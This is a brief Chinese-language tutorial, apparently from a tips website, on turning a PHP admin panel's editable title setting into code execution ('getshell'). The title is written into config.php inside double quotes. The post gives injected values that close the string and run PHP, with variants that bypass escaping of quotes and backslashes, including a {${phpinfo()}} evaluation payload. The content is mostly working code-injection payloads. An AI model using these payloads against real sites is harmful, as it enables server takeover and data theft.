php后台闭合配置文件双引号GETSHELL

一网站config.php原本为：

<?php //设定title $std_title = "123" ?> 这个123是可以在后台控制的。于是我去闭合他。将123变成123"?><?php phpinfo();die();?>//

搜狗电脑知识技巧

如果不转义的情况下，上面是ok的

如果只转义了"变成 \"

可以使用123\"?><?php phpinfo();die();?>//

如果使用\"被转义成\\\"

可以尝试

{${phpinfo()}}

则

$std_title="{${phpinfo()}}"

部分内容来自网络，如有侵权请联系站长尽快处理站长QQ:965898558(广告及站内业务受理)